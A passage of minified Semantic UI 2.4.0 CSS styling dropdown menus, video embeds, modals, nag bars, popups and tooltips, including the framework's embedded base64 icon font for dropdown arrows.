.scrolling.menu,.ui.dropdown>.visible.menu .scrolling.menu{display:block}@media all and (-ms-high-contrast:none){.ui.dropdown .scrolling.menu,.ui.scrolling.dropdown .menu{min-width:calc(100% - 17px)}}@media only screen and (max-width:767px){.ui.dropdown .scrolling.menu,.ui.scrolling.dropdown .menu{max-height:10.28571429rem}}@media only screen and (min-width:768px){.ui.dropdown .scrolling.menu,.ui.scrolling.dropdown .menu{max-height:15.42857143rem}}@media only screen and (min-width:992px){.ui.dropdown .scrolling.menu,.ui.scrolling.dropdown .menu{max-height:20.57142857rem}}@media only screen and (min-width:1920px){.ui.dropdown .scrolling.menu,.ui.scrolling.dropdown .menu{max-height:20.57142857rem}}.ui.simple.dropdown .menu:after,.ui.simple.dropdown .menu:before{display:none}.ui.simple.dropdown .menu{position:absolute;display:block;overflow:hidden;top:-9999px!important;opacity:0;width:0;height:0;-webkit-transition:opacity .1s ease;transition:opacity .1s ease}.ui.simple.active.dropdown,.ui.simple.dropdown:hover{border-bottom-left-radius:0!important;border-bottom-right-radius:0!important}.ui.simple.active.dropdown>.menu,.ui.simple.dropdown:hover>.menu{overflow:visible;width:auto;height:auto;top:100%!important;opacity:1}.ui.simple.dropdown:hover>.menu>.item:hover>.menu,.ui.simple.dropdown>.menu>.item:active>.menu{overflow:visible;width:auto;height:auto;top:0!important;left:100%!important;opacity:1}.ui.simple.disabled.dropdown:hover .menu{display:none;height:0;width:0;overflow:hidden}.ui.simple.visible.dropdown>.menu{display:block}.ui.fluid.dropdown{display:block;width:100%;min-width:0}.ui.fluid.dropdown>.dropdown.icon{float:right}.ui.floating.dropdown .menu{left:0;right:auto;-webkit-box-shadow:0 2px 4px 0 rgba(34,36,38,.12),0 2px 10px 0 rgba(34,36,38,.15)!important;box-shadow:0 2px 4px 0 rgba(34,36,38,.12),0 2px 10px 0 rgba(34,36,38,.15)!important;border-radius:.28571429rem!important}.ui.floating.dropdown>.menu{margin-top:.5em!important;border-radius:.28571429rem!important}.ui.pointing.dropdown>.menu{top:100%;margin-top:.78571429rem;border-radius:.28571429rem}.ui.pointing.dropdown>.menu:after{display:block;position:absolute;pointer-events:none;content:'';visibility:visible;-webkit-transform:rotate(45deg);transform:rotate(45deg);width:.5em;height:.5em;-webkit-box-shadow:-1px -1px 0 0 rgba(34,36,38,.15);box-shadow:-1px -1px 0 0 rgba(34,36,38,.15);background:#fff;z-index:2}.ui.pointing.dropdown>.menu:after{top:-.25em;left:50%;margin:0 0 0 -.25em}.ui.top.left.pointing.dropdown>.menu{top:100%;bottom:auto;left:0;right:auto;margin:1em 0 0}.ui.top.left.pointing.dropdown>.menu{top:100%;bottom:auto;left:0;right:auto;margin:1em 0 0}.ui.top.left.pointing.dropdown>.menu:after{top:-.25em;left:1em;right:auto;margin:0;-webkit-transform:rotate(45deg);transform:rotate(45deg)}.ui.top.right.pointing.dropdown>.menu{top:100%;bottom:auto;right:0;left:auto;margin:1em 0 0}.ui.top.pointing.dropdown>.left.menu:after,.ui.top.right.pointing.dropdown>.menu:after{top:-.25em;left:auto!important;right:1em!important;margin:0;-webkit-transform:rotate(45deg);transform:rotate(45deg)}.ui.left.pointing.dropdown>.menu{top:0;left:100%;right:auto;margin:0 0 0 1em}.ui.left.pointing.dropdown>.menu:after{top:1em;left:-.25em;margin:0;-webkit-transform:rotate(-45deg);transform:rotate(-45deg)}.ui.left:not(.top):not(.bottom).pointing.dropdown>.left.menu{left:auto!important;right:100%!important;margin:0 1em 0 0}.ui.left:not(.top):not(.bottom).pointing.dropdown>.left.menu:after{top:1em;left:auto;right:-.25em;margin:0;-webkit-transform:rotate(135deg);transform:rotate(135deg)}.ui.right.pointing.dropdown>.menu{top:0;left:auto;right:100%;margin:0 1em 0 0}.ui.right.pointing.dropdown>.menu:after{top:1em;left:auto;right:-.25em;margin:0;-webkit-transform:rotate(135deg);transform:rotate(135deg)}.ui.bottom.pointing.dropdown>.menu{top:auto;bottom:100%;left:0;right:auto;margin:0 0 1em}.ui.bottom.pointing.dropdown>.menu:after{top:auto;bottom:-.25em;right:auto;margin:0;-webkit-transform:rotate(-135deg);transform:rotate(-135deg)}.ui.bottom.pointing.dropdown>.menu .menu{top:auto!important;bottom:0!important}.ui.bottom.left.pointing.dropdown>.menu{left:0;right:auto}.ui.bottom.left.pointing.dropdown>.menu:after{left:1em;right:auto}.ui.bottom.right.pointing.dropdown>.menu{right:0;left:auto}.ui.bottom.right.pointing.dropdown>.menu:after{left:auto;right:1em}.ui.pointing.upward.dropdown .menu,.ui.top.pointing.upward.dropdown .menu{top:auto!important;bottom:100%!important;margin:0 0 .78571429rem;border-radius:.28571429rem}.ui.pointing.upward.dropdown .menu:after,.ui.top.pointing.upward.dropdown .menu:after{top:100%!important;bottom:auto!important;-webkit-box-shadow:1px 1px 0 0 rgba(34,36,38,.15);box-shadow:1px 1px 0 0 rgba(34,36,38,.15);margin:-.25em 0 0}.ui.right.pointing.upward.dropdown:not(.top):not(.bottom) .menu{top:auto!important;bottom:0!important;margin:0 1em 0 0}.ui.right.pointing.upward.dropdown:not(.top):not(.bottom) .menu:after{top:auto!important;bottom:0!important;margin:0 0 1em 0;-webkit-box-shadow:-1px -1px 0 0 rgba(34,36,38,.15);box-shadow:-1px -1px 0 0 rgba(34,36,38,.15)}.ui.left.pointing.upward.dropdown:not(.top):not(.bottom) .menu{top:auto!important;bottom:0!important;margin:0 0 0 1em}.ui.left.pointing.upward.dropdown:not(.top):not(.bottom) .menu:after{top:auto!important;bottom:0!important;margin:0 0 1em 0;-webkit-box-shadow:-1px -1px 0 0 rgba(34,36,38,.15);box-shadow:-1px -1px 0 0 rgba(34,36,38,.15)}@font-face{font-family:Dropdown;src:url(data:application/font-woff;charset=utf-8;base64,d09GRgABAAAAAAVgAA8AAAAACFAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAABGRlRNAAABWAAAABwAAAAchGgaq0dERUYAAAF0AAAAHAAAAB4AJwAPT1MvMgAAAZAAAABDAAAAVnW4TJdjbWFwAAAB1AAAAEsAAAFS8CcaqmN2dCAAAAIgAAAABAAAAAQAEQFEZ2FzcAAAAiQAAAAIAAAACP//AANnbHlmAAACLAAAAQoAAAGkrRHP9WhlYWQAAAM4AAAAMAAAADYPK8YyaGhlYQAAA2gAAAAdAAAAJANCAb1obXR4AAADiAAAACIAAAAiCBkAOGxvY2EAAAOsAAAAFAAAABQBnAIybWF4cAAAA8AAAAAfAAAAIAEVAF5uYW1lAAAD4AAAATAAAAKMFGlj5HBvc3QAAAUQAAAARgAAAHJoedjqd2ViZgAABVgAAAAGAAAABrO7W5UAAAABAAAAANXulPUAAAAA1r4hgAAAAADXu2Q1eNpjYGRgYOABYjEgZmJgBEIOIGYB8xgAA/YAN3jaY2BktGOcwMDKwMI4jTGNgYHBHUp/ZZBkaGFgYGJgZWbACgLSXFMYHFT/fLjFeOD/AQY9xjMMbkBhRpAcAN48DQYAeNpjYGBgZoBgGQZGBhDwAfIYwXwWBgMgzQGETAwMqn8+8H649f8/lHX9//9b7Pzf+fWgusCAkY0BzmUE6gHpQwGMDMMeAACbxg7SAAARAUQAAAAB//8AAnjadZBPSsNAGMXfS+yMqYgOhpSuSlKadmUhiVEhEMQzFF22m17BbbvzCh5BXCUn6EG8gjeQ4DepwYo4i+/ffL95j4EDA+CFC7jQuKyIeVHrI3wkleq9F7XrSInKteOeHdda8bOoaeepSc00NWPz/LRec9G8GabyGtEdF7h19z033GAMTK7zbM42xNEZpzYof0RtQ5CUHAQJ73OtVyutc+3b7Ou//b8XNlsPx3jgjUifABdhEohKJJL5iM5p39uqc7X1+sRQSqmGrUVhlsJ4lpmEUVwyT8SUYtg0P9DyNzPADDs+tjrGV6KRCRfsui3eHcL4/p8ZXvfMlcnEU+CLv7hDykOP+AKTPTxbAAB42mNgZGBgAGKuf5KP4vltvjLIMzGAwLV9ig0g+vruFFMQzdjACOJzMIClARh0CTJ42mNgZGBgPPD/AJD8wgAEjA0MjAyogAMAbOQEAQAAAAC7ABEAAAAAAKoAAAH0AAABgAAAAUAACAFAAAgAwAAXAAAAAAAAACoAKgAqADIAbACGAKAAugDSeNpjYGRgYOBkUGFgYgABEMkFhAwM/xn0QAIADdUBdAB42qWQvUoDQRSFv3GjaISUQaymSmGxJoGAsRC0iPYLsU50Y6IxrvlRtPCJJKUPIBb+PIHv4EN4djKuKAqCDHfmu+feOdwZoMCUAJNbAlYUMzaUlM14jjxbngOq7HnOia89z1Pk1vMCa9x7ztPkzfMyJbPj+ZGi6Xp+omxuPD+zaD7meaFg7mb8GrBqHmhwxoAxlm0uiRkpP9X5m26pKRoMxTGR1D49Dv/Yb/91o6l8qL6eu5n2hZQzn68utR9m3FU2cB4t9cdSLG2utI+44Eh/P9bqKO+oJ/WxmXssj77YkrjasZQD6SFddythk3Wtzrf+UF2p076Udla1VNzsERP3kkjVRKel7mp1udXYcHtZSlV7RfmJe1GiFWveluaeKD5/MuJcSk8Tpm/vvwPIbmJleNpjYGKAAFYG7ICTgYGRiZGZkYWRlZGNkZ2Rg5GTLT2nsiDDEEIZsZfmZRqZujmDaDcDAxcI7WIOpS2gtCWUdgQAZkcSmQAAAAFblbO6AAA=) format('woff');font-weight:400;font-style:normal}.ui.dropdown>.dropdown.icon{font-family:Dropdown;line-height:1;height:1em;width:1.23em;-webkit-backface-visibility:hidden;backface-visibility:hidden;font-weight:400;font-style:normal;text-align:center}.ui.dropdown>.dropdown.icon{width:auto}.ui.dropdown>.dropdown.icon:before{content:'\f0d7'}.ui.dropdown .menu .item .dropdown.icon:before{content:'\f0da'}.ui.dropdown .item .left.dropdown.icon:before,.ui.dropdown .left.menu .item .dropdown.icon:before{content:"\f0d9"}.ui.vertical.menu .dropdown.item>.dropdown.icon:before{content:"\f0da"}.ui.dropdown>.clear.icon:before{content:"\f00d"}/*! + * # Semantic UI 2.4.0 - Video + * http://github.com/semantic-org/semantic-ui/ + * + * + * Released under the MIT license + * http://opensource.org/licenses/MIT + * + */.ui.embed{position:relative;max-width:100%;height:0;overflow:hidden;background:#dcddde;padding-bottom:56.25%}.ui.embed embed,.ui.embed iframe,.ui.embed object{position:absolute;border:none;width:100%;height:100%;top:0;left:0;margin:0;padding:0}.ui.embed>.embed{display:none}.ui.embed>.placeholder{position:absolute;cursor:pointer;top:0;left:0;display:block;width:100%;height:100%;background-color:radial-gradient(transparent 45%,rgba(0,0,0,.3))}.ui.embed>.icon{cursor:pointer;position:absolute;top:0;left:0;width:100%;height:100%;z-index:2}.ui.embed>.icon:after{position:absolute;top:0;left:0;width:100%;height:100%;z-index:3;content:'';background:-webkit-radial-gradient(transparent 45%,rgba(0,0,0,.3));background:radial-gradient(transparent 45%,rgba(0,0,0,.3));opacity:.5;-webkit-transition:opacity .5s ease;transition:opacity .5s ease}.ui.embed>.icon:before{position:absolute;top:50%;left:50%;z-index:4;-webkit-transform:translateX(-50%) translateY(-50%);transform:translateX(-50%) translateY(-50%);color:#fff;font-size:6rem;text-shadow:0 2px 10px rgba(34,36,38,.2);-webkit-transition:opacity .5s ease,color .5s ease;transition:opacity .5s ease,color .5s ease;z-index:10}.ui.embed .icon:hover:after{background:-webkit-radial-gradient(transparent 45%,rgba(0,0,0,.3));background:radial-gradient(transparent 45%,rgba(0,0,0,.3));opacity:1}.ui.embed .icon:hover:before{color:#fff}.ui.active.embed>.icon,.ui.active.embed>.placeholder{display:none}.ui.active.embed>.embed{display:block}.ui.square.embed{padding-bottom:100%}.ui[class*="4:3"].embed{padding-bottom:75%}.ui[class*="16:9"].embed{padding-bottom:56.25%}.ui[class*="21:9"].embed{padding-bottom:42.85714286%}/*! + * # Semantic UI 2.4.0 - Modal + * http://github.com/semantic-org/semantic-ui/ + * + * + * Released under the MIT license + * http://opensource.org/licenses/MIT + * + */.ui.modal{position:absolute;display:none;z-index:1001;text-align:left;background:#fff;border:none;-webkit-box-shadow:1px 3px 3px 0 rgba(0,0,0,.2),1px 3px 15px 2px rgba(0,0,0,.2);box-shadow:1px 3px 3px 0 rgba(0,0,0,.2),1px 3px 15px 2px rgba(0,0,0,.2);-webkit-transform-origin:50% 25%;transform-origin:50% 25%;-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;border-radius:.28571429rem;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;user-select:text;will-change:top,left,margin,transform,opacity}.ui.modal>.icon:first-child+*,.ui.modal>:first-child:not(.icon){border-top-left-radius:.28571429rem;border-top-right-radius:.28571429rem}.ui.modal>:last-child{border-bottom-left-radius:.28571429rem;border-bottom-right-radius:.28571429rem}.ui.modal>.close{cursor:pointer;position:absolute;top:-2.5rem;right:-2.5rem;z-index:1;opacity:.8;font-size:1.25em;color:#fff;width:2.25rem;height:2.25rem;padding:.625rem 0 0 0}.ui.modal>.close:hover{opacity:1}.ui.modal>.header{display:block;font-family:Lato,'Helvetica Neue',Arial,Helvetica,sans-serif;background:#fff;margin:0;padding:1.25rem 1.5rem;-webkit-box-shadow:none;box-shadow:none;color:rgba(0,0,0,.85);border-bottom:1px solid rgba(34,36,38,.15)}.ui.modal>.header:not(.ui){font-size:1.42857143rem;line-height:1.28571429em;font-weight:700}.ui.modal>.content{display:block;width:100%;font-size:1em;line-height:1.4;padding:1.5rem;background:#fff}.ui.modal>.image.content{display:-webkit-box;display:-ms-flexbox;display:flex;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-ms-flex-direction:row;flex-direction:row}.ui.modal>.content>.image{display:block;-webkit-box-flex:0;-ms-flex:0 1 auto;flex:0 1 auto;width:'';-ms-flex-item-align:top;align-self:top}.ui.modal>[class*="top aligned"]{-ms-flex-item-align:top;align-self:top}.ui.modal>[class*="middle aligned"]{-ms-flex-item-align:middle;align-self:middle}.ui.modal>[class*=stretched]{-ms-flex-item-align:stretch;align-self:stretch}.ui.modal>.content>.description{display:block;-webkit-box-flex:1;-ms-flex:1 0 auto;flex:1 0 auto;min-width:0;-ms-flex-item-align:top;align-self:top}.ui.modal>.content>.icon+.description,.ui.modal>.content>.image+.description{-webkit-box-flex:0;-ms-flex:0 1 auto;flex:0 1 auto;min-width:'';width:auto;padding-left:2em}.ui.modal>.content>.image>i.icon{margin:0;opacity:1;width:auto;line-height:1;font-size:8rem}.ui.modal>.actions{background:#f9fafb;padding:1rem 1rem;border-top:1px solid rgba(34,36,38,.15);text-align:right}.ui.modal .actions>.button{margin-left:.75em}@media only screen and (max-width:767px){.ui.modal{width:95%;margin:0}}@media only screen and (min-width:768px){.ui.modal{width:88%;margin:0}}@media only screen and (min-width:992px){.ui.modal{width:850px;margin:0}}@media only screen and (min-width:1200px){.ui.modal{width:900px;margin:0}}@media only screen and (min-width:1920px){.ui.modal{width:950px;margin:0}}@media only screen and (max-width:991px){.ui.modal>.header{padding-right:2.25rem}.ui.modal>.close{top:1.0535rem;right:1rem;color:rgba(0,0,0,.87)}}@media only screen and (max-width:767px){.ui.modal>.header{padding:.75rem 1rem!important;padding-right:2.25rem!important}.ui.modal>.content{display:block;padding:1rem!important}.ui.modal>.close{top:.5rem!important;right:.5rem!important}.ui.modal .image.content{-webkit-box-orient:vertical;-webkit-box-direction:normal;-ms-flex-direction:column;flex-direction:column}.ui.modal .content>.image{display:block;max-width:100%;margin:0 auto!important;text-align:center;padding:0 0 1rem!important}.ui.modal>.content>.image>i.icon{font-size:5rem;text-align:center}.ui.modal .content>.description{display:block;width:100%!important;margin:0!important;padding:1rem 0!important;-webkit-box-shadow:none;box-shadow:none}.ui.modal>.actions{padding:1rem 1rem 0!important}.ui.modal .actions>.button,.ui.modal .actions>.buttons{margin-bottom:1rem}}.ui.inverted.dimmer>.ui.modal{-webkit-box-shadow:1px 3px 10px 2px rgba(0,0,0,.2);box-shadow:1px 3px 10px 2px rgba(0,0,0,.2)}.ui.basic.modal{background-color:transparent;border:none;border-radius:0;-webkit-box-shadow:none!important;box-shadow:none!important;color:#fff}.ui.basic.modal>.actions,.ui.basic.modal>.content,.ui.basic.modal>.header{background-color:transparent}.ui.basic.modal>.header{color:#fff}.ui.basic.modal>.close{top:1rem;right:1.5rem}.ui.inverted.dimmer>.basic.modal{color:rgba(0,0,0,.87)}.ui.inverted.dimmer>.ui.basic.modal>.header{color:rgba(0,0,0,.85)}.ui.legacy.modal,.ui.legacy.page.dimmer>.ui.modal{top:50%;left:50%}.ui.legacy.page.dimmer>.ui.scrolling.modal,.ui.page.dimmer>.ui.scrolling.legacy.modal,.ui.top.aligned.dimmer>.ui.legacy.modal,.ui.top.aligned.legacy.page.dimmer>.ui.modal{top:auto}@media only screen and (max-width:991px){.ui.basic.modal>.close{color:#fff}}.ui.loading.modal{display:block;visibility:hidden;z-index:-1}.ui.active.modal{display:block}.modals.dimmer[class*="top aligned"] .modal{margin:5vh auto}@media only screen and (max-width:767px){.modals.dimmer[class*="top aligned"] .modal{margin:1rem auto}}.legacy.modals.dimmer[class*="top aligned"]{padding-top:5vh}@media only screen and (max-width:767px){.legacy.modals.dimmer[class*="top aligned"]{padding-top:1rem}}.scrolling.dimmable.dimmed{overflow:hidden}.scrolling.dimmable>.dimmer{-webkit-box-pack:start;-ms-flex-pack:start;justify-content:flex-start}.scrolling.dimmable.dimmed>.dimmer{overflow:auto;-webkit-overflow-scrolling:touch}.scrolling.dimmable>.dimmer{position:fixed}.modals.dimmer .ui.scrolling.modal{margin:1rem auto}.scrolling.undetached.dimmable.dimmed{overflow:auto;-webkit-overflow-scrolling:touch}.scrolling.undetached.dimmable.dimmed>.dimmer{overflow:hidden}.scrolling.undetached.dimmable .ui.scrolling.modal{position:absolute;left:50%;margin-top:1rem!important}.ui.modal .scrolling.content{max-height:calc(70vh);overflow:auto}.ui.fullscreen.modal{width:95%!important;left:0!important;margin:1em auto}.ui.fullscreen.scrolling.modal{left:0!important}.ui.fullscreen.modal>.header{padding-right:2.25rem}.ui.fullscreen.modal>.close{top:1.0535rem;right:1rem;color:rgba(0,0,0,.87)}.ui.modal{font-size:1rem}.ui.mini.modal>.header:not(.ui){font-size:1.3em}@media only screen and (max-width:767px){.ui.mini.modal{width:95%;margin:0}}@media only screen and (min-width:768px){.ui.mini.modal{width:35.2%;margin:0}}@media only screen and (min-width:992px){.ui.mini.modal{width:340px;margin:0}}@media only screen and (min-width:1200px){.ui.mini.modal{width:360px;margin:0}}@media only screen and (min-width:1920px){.ui.mini.modal{width:380px;margin:0}}.ui.small.modal>.header:not(.ui){font-size:1.3em}@media only screen and (max-width:767px){.ui.tiny.modal{width:95%;margin:0}}@media only screen and (min-width:768px){.ui.tiny.modal{width:52.8%;margin:0}}@media only screen and (min-width:992px){.ui.tiny.modal{width:510px;margin:0}}@media only screen and (min-width:1200px){.ui.tiny.modal{width:540px;margin:0}}@media only screen and (min-width:1920px){.ui.tiny.modal{width:570px;margin:0}}.ui.small.modal>.header:not(.ui){font-size:1.3em}@media only screen and (max-width:767px){.ui.small.modal{width:95%;margin:0}}@media only screen and (min-width:768px){.ui.small.modal{width:70.4%;margin:0}}@media only screen and (min-width:992px){.ui.small.modal{width:680px;margin:0}}@media only screen and (min-width:1200px){.ui.small.modal{width:720px;margin:0}}@media only screen and (min-width:1920px){.ui.small.modal{width:760px;margin:0}}.ui.large.modal>.header{font-size:1.6em}@media only screen and (max-width:767px){.ui.large.modal{width:95%;margin:0}}@media only screen and (min-width:768px){.ui.large.modal{width:88%;margin:0}}@media only screen and (min-width:992px){.ui.large.modal{width:1020px;margin:0}}@media only screen and (min-width:1200px){.ui.large.modal{width:1080px;margin:0}}@media only screen and (min-width:1920px){.ui.large.modal{width:1140px;margin:0}}/*! + * # Semantic UI 2.4.0 - Nag + * http://github.com/semantic-org/semantic-ui/ + * + * + * Released under the MIT license + * http://opensource.org/licenses/MIT + * + */.ui.nag{display:none;opacity:.95;position:relative;top:0;left:0;z-index:999;min-height:0;width:100%;margin:0;padding:.75em 1em;background:#555;-webkit-box-shadow:0 1px 2px 0 rgba(0,0,0,.2);box-shadow:0 1px 2px 0 rgba(0,0,0,.2);font-size:1rem;text-align:center;color:rgba(0,0,0,.87);border-radius:0 0 .28571429rem .28571429rem;-webkit-transition:.2s background ease;transition:.2s background ease}a.ui.nag{cursor:pointer}.ui.nag>.title{display:inline-block;margin:0 .5em;color:#fff}.ui.nag>.close.icon{cursor:pointer;opacity:.4;position:absolute;top:50%;right:1em;font-size:1em;margin:-.5em 0 0;color:#fff;-webkit-transition:opacity .2s ease;transition:opacity .2s ease}.ui.nag:hover{background:#555;opacity:1}.ui.nag .close:hover{opacity:1}.ui.overlay.nag{position:absolute;display:block}.ui.fixed.nag{position:fixed}.ui.bottom.nag,.ui.bottom.nags{border-radius:.28571429rem .28571429rem 0 0;top:auto;bottom:0}.ui.inverted.nag,.ui.inverted.nags .nag{background-color:#f3f4f5;color:rgba(0,0,0,.85)}.ui.inverted.nag .close,.ui.inverted.nag .title,.ui.inverted.nags .nag .close,.ui.inverted.nags .nag .title{color:rgba(0,0,0,.4)}.ui.nags .nag{border-radius:0!important}.ui.nags .nag:last-child{border-radius:0 0 .28571429rem .28571429rem}.ui.bottom.nags .nag:last-child{border-radius:.28571429rem .28571429rem 0 0}/*! + * # Semantic UI 2.4.0 - Popup + * http://github.com/semantic-org/semantic-ui/ + * + * + * Released under the MIT license + * http://opensource.org/licenses/MIT + * + */.ui.popup{display:none;position:absolute;top:0;right:0;min-width:-webkit-min-content;min-width:-moz-min-content;min-width:min-content;z-index:1900;border:1px solid #d4d4d5;line-height:1.4285em;max-width:250px;background:#fff;padding:.833em 1em;font-weight:400;font-style:normal;color:rgba(0,0,0,.87);border-radius:.28571429rem;-webkit-box-shadow:0 2px 4px 0 rgba(34,36,38,.12),0 2px 10px 0 rgba(34,36,38,.15);box-shadow:0 2px 4px 0 rgba(34,36,38,.12),0 2px 10px 0 rgba(34,36,38,.15)}.ui.popup>.header{padding:0;font-family:Lato,'Helvetica Neue',Arial,Helvetica,sans-serif;font-size:1.14285714em;line-height:1.2;font-weight:700}.ui.popup>.header+.content{padding-top:.5em}.ui.popup:before{position:absolute;content:'';width:.71428571em;height:.71428571em;background:#fff;-webkit-transform:rotate(45deg);transform:rotate(45deg);z-index:2;-webkit-box-shadow:1px 1px 0 0 #bababc;box-shadow:1px 1px 0 0 #bababc}[data-tooltip]{position:relative}[data-tooltip]:before{pointer-events:none;position:absolute;content:'';font-size:1rem;width:.71428571em;height:.71428571em;background:#fff;-webkit-transform:rotate(45deg);transform:rotate(45deg);z-index:2;-webkit-box-shadow:1px 1px 0 0 #bababc;box-shadow:1px 1px 0 0 #bababc}[data-tooltip]:after{pointer-events:none;content:attr(data-tooltip);position:absolute;text-transform:none;text-align:left;white-space:nowrap;font-size:1rem;border:1px solid #d4d4d5;line-height:1.4285em;max-width:none;background:#fff;padding:.833em 1em;font-weight:400;font-style:normal;color:rgba(0,0,0,.87);border-radius:.28571429rem;-webkit-box-shadow:0 2px 4px 0 rgba(34,36,38,.12),0 2px 10px 0 rgba(34,36,38,.15);box-shadow:0 2px 4px 0 rgba(34,36,38,.12),0 2px 10px 0 rgba(34,36,38,.15);z-index:1}[data-tooltip]:not([data-position]):before{top:auto;right:auto;bottom:100%;left:50%;background:#fff;margin-left:-.07142857rem;margin-bottom:.14285714rem}[data-tooltip]:not([data-position]):after{left:50%;-webkit-transform:translateX(-50%);transform:translateX(-50%);bottom:100%;margin-bottom:.5em}[data-tooltip]:after,[data-tooltip]:before{pointer-events:none;visibility:hidden}[data-tooltip]:before{opacity:0;-webkit-transform:rotate(45deg) scale(0)!important;transform:rotate(45deg) scale(0)!important;-webkit-transform-origin:center top;transform-origin:center top;-webkit-transition:all .1s ease;transition:all .1s ease}[data-tooltip]:after{opacity:1;-webkit-transform-origin:center bottom;transform-origin:center bottom;-webkit-transition:all .1s ease;transition:all .1s ease}[data-tooltip]:hover:after,[data-tooltip]:hover:before{visibility:visible;pointer-events:auto}[data-tooltip]:hover:before{-webkit-transform:rotate(45deg) scale(1)!important;transform:rotate(45deg) scale(1)!important;opacity:1}[data-tooltip]:after,[data-tooltip][data-position="bottom center"]:after,[data-tooltip][data-position="top center"]:after{-webkit-transform:translateX(-50%) scale(0)!important;transform:translateX(-50%) scale(0)!important}[data-tooltip]:hover:after,[data-tooltip][data-position="bottom center"]:hover:after{-webkit-transform:translateX(-50%) scale(1)!important;transform:translateX(-50%) scale(1)!important}[data-tooltip][data-position="left center"]:after,[data-tooltip][data-position="right center"]:after{-webkit-transform:translateY(-50%) scale(0)!important;transform:translateY(-50%) scale(0)!important}[data-tooltip][data-position="left center"]:hover:after,[data-tooltip][data-position="right center"]:hover:after{-webkit-transform:translateY(-50%) scale(1)!important;transform:translateY(-50%) scale(1)!important}[data-tooltip][data-position="bottom left"]:after,[data-tooltip][data-position="bottom right"]:after,[data-tooltip][data-position="top left"]:after,[data-tooltip][data-position="top right"]:after{-webkit-transform:scale(0)!important;transform:scale(0)!important}[data-tooltip][data-position="bottom left"]:hover:after,[data-tooltip][data-position="bottom right"]:hover:after,[data-tooltip][data-position="top left"]:hover:after,[data-tooltip][data-position="top right"]:hover:after{-webkit-transform:scale(1)!important;transform:scale(1)!important}[data-tooltip][data-inverted]:before{-webkit-box-shadow:none!important;box-shadow:none!important}[data-tooltip][data-inverted]:before{background:#1b1c1d}[data-tooltip][data-inverted]:after{background:#1b1c1d;color:#fff;border:none;-webkit-box-shadow:none;box-shadow:none}[data-tooltip][data-inverted]:after .header{background-color:none;color:#fff}[data-position="top center"][data-tooltip]:after{top:auto;right:auto;left:50%;bottom:100%;-webkit-transform:translateX(-50%);transform:translateX(-50%);margin-bottom:.5em}[data-position="top center"][data-tooltip]:before{top:auto;right:auto;bottom:100%;left:50%;background:#fff;margin-left:-.07142857rem;margin-bottom:.14285714rem}[data-position="top left"][data-tooltip]:after{top:auto;right:auto;left:0;bottom:100%;margin-bottom:.5em}[data-position="top left"][data-tooltip]:before{top:auto;right:auto;bottom:100%;left:1em;margin-left:-.07142857rem;margin-bottom:.14285714rem}[data-position="top right"][data-tooltip]:after{top:auto;left:auto;right:0;bottom:100%;margin-bottom:.5em}[data-position="top right"][data-tooltip]:before{top:auto;left:auto;bottom:100%;right:1em;margin-left:-.07142857rem;margin-bottom:.14285714rem}[data-position="bottom center"][data-tooltip]:after{bottom:auto;right:auto;left:50%;top:100%;-webkit-transform:translateX(-50%);transform:translateX(-50%);margin-top:.5em}[data-position="bottom center"][data-tooltip]:before{bottom:auto;right:auto;top:100%;left:50%;margin-left:-.07142857rem;margin-top:.14285714rem}[data-position="bottom left"][data-tooltip]:after{left:0;top:100%;margin-top:.5em}[data-position="bottom left"][data-tooltip]:before{bottom:auto;right:auto;top:100%;left:1em;margin-left:-.07142857rem;margin-top:.14285714rem}[data-position="bottom right"][data-tooltip]:after{right:0;top:100%;margin-top:.5em}[data-position="bottom right"][data-tooltip]:before{bottom:auto;left:auto;top:100%;right:1em;margin-left:-.14285714rem;margin-top:.07142857rem}[data-position="left center"][data-tooltip]:after{right:100%;top:50%;margin-right:.5em;-webkit-transform:translateY(-50%);transform:translateY(-50%)}[data-position="left center"][data-tooltip]:before{right:100%;top:50%;margin-top:-.14285714rem;margin-right:-.07142857rem}[data-position="right center"][data-tooltip]:after{left:100%;top:50%;margin-left:.5em;-webkit-transform:translateY(-50%);transform:translateY(-50%)}[data-position="right center"][data-tooltip]:before{left:100%;top:50%;margin-top:-.07142857rem;margin-left:.14285714rem}[data-position~=bottom][data-tooltip]:before{background:#fff;-webkit-box-shadow:-1px -1px 0 0 #bababc;box-shadow:-1px -1px 0 0 #bababc}[data-position="left center"][data-tooltip]:before{background:#fff;-webkit-box-shadow:1px -1px 0 0 #bababc;box-shadow:1px -1px 0 0 #bababc}[data-position="right center"][data-tooltip]:before{background:#fff;-webkit-box-shadow:-1px 1px 0 0 #bababc;box-shadow:-1px 1px 0 0 #bababc}[data-position~=top][data-tooltip]:before{background:#fff}[data-inverted][data-position~=bottom][data-tooltip]:before{background:#1b1c1d;-webkit-box-shadow:-1px -1px 0 0 #bababc;box-shadow:-1px -1px 0 0 #bababc}[data-inverted][data-position="left center"][data-tooltip]:before{background:#1b1c1d;-webkit-box-shadow:1px -1px 0 0 #bababc;box-shadow:1px -1px 0 0 #bababc}[data-inverted][data-position="right center"][data-tooltip]:before{background:#1b1c1d;-webkit-box-shadow:-1px 1px 0 0 #bababc;box-shadow:-1px 1px 0 0 #bababc}[data-inverted][data-position~=top][data-tooltip]:before{background:#1b1c1d}[data-position~=bottom][data-tooltip]:before{-webkit-transform-origin:center bottom;transform-origin:center bottom}[data-position~=bottom][data-tooltip]:after{-webkit-transform-origin:center top;transform-origin:center top}[data-position="left center"][data-tooltip]:before{-webkit-transform-origin:top center;transform-origin:top center}[data-position="left center"][data-tooltip]:after{-webkit-transform-origin:right center;transform-origin:right center}[data-position="right center"][data-tooltip]:before{-webkit-transform-origin:right center;transform-origin:right center}[data-position="right center"][data-tooltip]:after{-webkit-transform-origin:left center;transform-origin:left center}.ui.popup{margin:0}.ui.top.popup{margin:0 0 .71428571em}.ui.top.left.popup{-webkit-transform-origin:left bottom;transform-origin:left bottom}.ui.top.center.popup{-webkit-transform-origin:center bottom;transform-origin:center bottom}.ui.top.right.popup{-webkit-transform-origin:right bottom;transform-origin:right bottom}.ui.left.center.popup{margin:0 .71428571em 0 0;-webkit-transform-origin:right 50%;transform-origin:right 50%}.ui.right.center.popup{margin:0 0 0 .71428571em;-webkit-transform-origin:left 50%;transform-origin:left 50%}.ui.bottom.popup{margin:.71428571em 0 0}.ui.bottom.left.popup{-webkit-transform-origin:left top;transform-origin:left top}.ui.bottom.center.popup{-webkit-transform-origin:center top;transform-origin:center top}.ui.bottom.right.popup{-webkit-transform-origin:right top;transform-origin:right 